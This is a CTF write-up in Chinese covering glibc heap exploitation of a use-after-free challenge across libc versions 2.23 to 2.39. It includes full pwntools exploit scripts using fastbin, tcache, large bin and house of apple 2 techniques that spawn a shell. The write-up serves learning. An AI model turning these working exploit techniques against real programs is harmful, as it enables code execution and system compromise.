0x00 前言

堆还是太弱了,所以决定补补,稍微了解一下不同版本的堆手法

0x01 题解

同一个漏洞,全是 UAF,但是不同版本,先是一点一点慢慢啃吧

LitCTF 2024_heap-2.23

2.23 经典的 fast bin attack,还是比较简单的,通过制造 unsorted bin 来泄露 libc_base. 因为 free 函数这里没有对堆块指针置 0,打印堆块的函数中的检测形同虚设
可以利用这点对已被释放的堆块进行打印,借此泄露出 libc_base
接着依旧 uaf,编辑堆块的功能也因为 free 函数没有对管理堆块的指针置 0 而可以直接对被释放的堆块进行编辑,我们可以通过编辑被释放堆块的 fd 指针来将堆块申请到 __malloc_hook 附近,接着通过编辑堆块的功能来将 __malloc_hook 改写成 one_gadget

from pwn import *
from ctypes import *
from struct import pack
import gmpy2

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn/heap'
elf=ELF(file)
libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

choice = 0x001
if choice:
port= 28143
nss='node4.anna.nssctf.cn'
p = remote(nss,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x000000000000129C)')
gdb.attach(p,'b *0x00000000004008B3')

def malloc(index,size):
sla('>>',b'1')
sla('idx? ',str(index))
sla('size? ',str(size))

def free(index):
sla('>>',b'2')
sla('idx? ',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx? ',str(index))
sla('content : \n',content)

def show(index):
sla('>>',b'3')
sla('idx? ',str(index))

malloc(0,0x410)
malloc(1,0x68)
free(0)
show(0)
libc_base = uru64()-0x3c4b78
leak('libc_base')

malloc(2,0x68)
malloc(3,0x68)

one = [0x4527a,0xf03a4,0xf1247]
# debug()

free(2)
edit(2,p64(libc_sym('__malloc_hook')-0x23))
malloc(4,0x68)
malloc(5,0x68)
edit(5,b'\x00'*0x13+p64(libc_os(one[2])))

malloc(6,0x10)

itr()

LitCTF 2024_heap-2.27

因为该版本 Tcache 刚出来,还没什么安全检测,导致可以随意利用,甚至没有 2.23 中的 fast bin attack 这么麻烦,直接就是任意地址申请。但是套 2.23 的模板的话,到 2.31 就打不通了,另一个做法会在 2.27 这里展示

详情请看: LitCTF 2024 heap-2.27(Tcache attack啦)

LitCTF 2024_heap-2.31

接着就是 2.27 提到的不太相同的打法了。首先我们先填满 Tcache,接着申请出 unsorted bin 大小的堆块,利用 UAF 漏洞来 leak libc。最后依旧是利用 Tcache 来将堆块申请到 __free_hook 上,将其修改为 system,然后 free 掉一个内容为 /bin/sh 的堆块即可

from pwn import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/heap/2.31/heap'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/heap/2.31/libc.so.6')

choice = 0x00
if choice:
port= 28262
ns = '8.147.132.32'
p = remote(nss,port)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)


def malloc(index,size):
sla('>>',b'1')
sla('idx? ',str(index))
sla('size? ',str(size))

def free(index):
sla('>>',b'2')
sla('idx? ',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx?',str(index))
sla('content : \n',content)

def show(index):
sla('>>',b'3')
sla('idx? ',str(index))


for i in range(7): # 0 - 6
malloc(i,0x80)

malloc(7,0x80) # 7

for i in range(7):
free(i)

# debug('b *$rebase(0x000000000000178B)')

malloc(8,0x10)
free(7)

malloc(9,0x40)


show(9)

ru('content : ')
libc_base = uu64(r(6).ljust(8,b'\x00')) - 0x1ecc60
libc.address = libc_base
leak('libc_base')

free_hook = libc.sym['__free_hook']

edit(6,p64(free_hook))


malloc(10,0x80)
edit(10,b'/bin/sh\x00')
malloc(11,0x80)
edit(11,p64(libc.sym['system']))

free(10)

itr()

LitCTF 2024_heap-2.35

2.35 相比之前貌似是把 __malloc_hook__free_hook 取消掉了,然后就是 heap 地址多了个 key,就是说不能像 2.27 和 2.31 那样随意 uaf 申请堆块到任意地址了,但问题不大,稍微泄露一下就可以。这题直接学一下 house of apple 吧。需要先掌握一点 io file 的知识,可以先去学学 pwn college 的 File Struct Exploits 大概是到 level 10 的样子。接着参考 gets ✌的视频 house of apple2之_IO_wfile_overflow 。基本上就是参考他的视频里面的 exp。
首先是泄露 libc 和 heap_base

malloc(0,0x418)
malloc(1,0x18)
malloc(2,0x428)
malloc(3,0x18)

free(2)
free(0)

show(2)
ru('content : ')
libc_addr = uu64(r(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x21ace0
leak('libc_base')
libc.address = libc_base

show(0)
ru('content : ')
heap_base= uu64(r(6).ljust(8,b'\x00')) - 0x6d0
leak('heap_base')

free 掉 2 和 0 之后分别进入 unsorted bin,然后利用打印功能不检测堆块的状态这个漏洞直接泄露 libc 以及 heap_base,这些在前面都是这样操作的,也没什么好说的。
接着就是一个 large bin attack

malloc(4,0x418) # 把0申请回来,此时2符合largebin大小,2会被放入large bin
show(2)
ru('content : ')
main_arena = uu64(r(6).ljust(8,b'\x00'))
edit(2,p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(4)

malloc(5,0x408)

效果就是这样,往 _IO_list_all 上写一个堆地址,相当于直接劫持了 stdout
然后是修复一下用来进行 large bin attack 的堆块,将其申请回来

edit(2,p64(main_arena)*2 + p64(file_addr)*2)
malloc(6,0x428)

然后就是伪造结构体了

file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vatable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68

fake_io = b''
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base

fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base
fake_io += p64(0) # _IO_buf_end

fake_io += p64(0) * 4 # _IO_save_base to _markers
fake_io += p64(0) # the FIle chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xffffffffffffffff) # _old_offset, -1
fake_io += p16(0) # _cure_column
fake_io += b'\x00' # _vtable_offset
fake_io += b'\n' # _shortbuf[1]
fake_io += p32(0)
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)
fake_io += p64(0xffffffffffffffff) # _offset
fake_io += p64(0)
fake_io += p64(IO_wide_data_addr) #
fake_io += p64(0) * 3
fake_io += p32(0xffffffff)
fake_io += b'\x00' * 19

fake_io = fake_io.ljust(0xd8 - 0x10,b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps'])
fake_io += p64(wide_vatable_addr)
fake_io += p64(libc.sym['system'])

其中需要满足这样的条件
然后放一个64位IO_FILE_plus结构体中的偏移在这里

0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

大概来看一下我们伪造的结构体
然后稍微来验证一下上面的条件,_wide_data 设置为 A
继续看一下 B(A + 0xe0),实际上就是倒数第二句的 fake_io += p64(wide_vatable_addr), 直接看 B + 0x68
正是 libc 中的 system。然后 gdb 跟着走一遍,首先是程序中写的 Exit 函数,当中会调用 exit(0)
然后到 _IO_flush_all_lockp 中调用 _IO_wfile_overflow ,然后紧接的是 _IO_wdoallocbuf
但是这里需要注意的是这两个地方,取了我们设置的 flag 字段,也就是提前设定的参数的头两个字节,这里是两个空格 test al,8 的意思是看二进制的第四位是否为 1,是就跳转,因为空格 ascii 是 0x20,所以就不会跳转,一开始看 gets 佬的视频,看到他设置的是 ;sh;,第二个字符为 ;(0x3b 0011 1011) 就会跳到 _IO_wfile_overflow+156 那边,从而不会执行下面的 call _IO_wdoallocbuf
然后进入到 _IO_wdoallocbuf 之后就会执行 B + 0x68 上的内容,并且参数就是 _flag 字段的内容
House of apple 2 基本上就是这样了,但如果有限制申请堆块的大小可能就不太好用。
exp就不放了,跟2.39的基本一样。

其实还有 2.35 还有一个通过泄露 enviro(栈地址)的打法,大概可以参考这题 malloc

LitCTF 2024_heap-2.39

复习 house of apple。代码稍微变动了一下,只能申请 largebin 了,不过应该也是往这方面引导,然后就是 exit 之前有一个神秘反向清空堆块:

for ( n15 = 0; n15 <= 15; ++n15 )
{
if ( !ptr[n15] )
{
free((void *)ptr[n15]);
ptr[n15] = 0;
ptr_size[n15] = 0;
}
}

没指针才 free… 什么操作,最后 exit 之前申请满 16 个堆块就行了,避免做出 free (0) 这种神秘操作

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/heap/2.39/heap'
elf=ELF(file)
context.binary = elf
libc = ELF('/mnt/c/Users/Z2023/Desktop/heap/2.39/libc.so.6')


choice = 0x001
if choice:
port= 28978
nss='node4.anna.nssctf.cn'
buu='node5.buuoj.cn'
ns='47.104.154.99'
local = '127.0.0.1'
p = remote(nss,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

def malloc(index,size):
sla('>>',b'1')
sla('idx?',str(index))
sla('size?',str(size))

def free(index):
sla('>>',b'2')
sla('idx?',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx?',str(index))
sla('content',content)

def show(index):
sla('>>',b'3')
sla('idx?',str(index))

def exitexit():
sla('>>',b'5')


malloc(0,0x428)
malloc(1,0x508)
malloc(3,0x418)
malloc(4,0x500)

free(0)
show(0)

ru('content : ')
libc_base = uu64(r(6).ljust(8,b'\x00')) - 0x203b20
leak('libc_base')
libc.address = libc_base

malloc(2,0x438)

edit(0,b'a'*12 + b'b'*4)
show(0)

ru('content : ')
ru('b'*4)
heap_base = uu64(r(6).ljust(8,b'\x00')) - 0x20a
leak('heap_base')

free(3)
edit(0,p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20) )
malloc(5,0x438)


io_wfile_jumps = libc.sym['_IO_wfile_jumps']
sys_addr = libc.sym['system']
fake_file_addr = heap_base + 0xbd0

file_offset=-16

fake_file=flat({
file_offset+0x28:1,
file_offset+0x68:sys_addr,
file_offset+0x88:heap_base,
file_offset+0xa0:fake_file_addr,
file_offset+0xd8:io_wfile_jumps,
file_offset+0xe0:fake_file_addr,
},filler='\x00')


edit(3,fake_file)
edit(1,b'a'*0x500+b' sh;\x00')

for i in range(6,16):
malloc(i,0x500)

debug('b _IO_flush_all')
exitexit()
itr()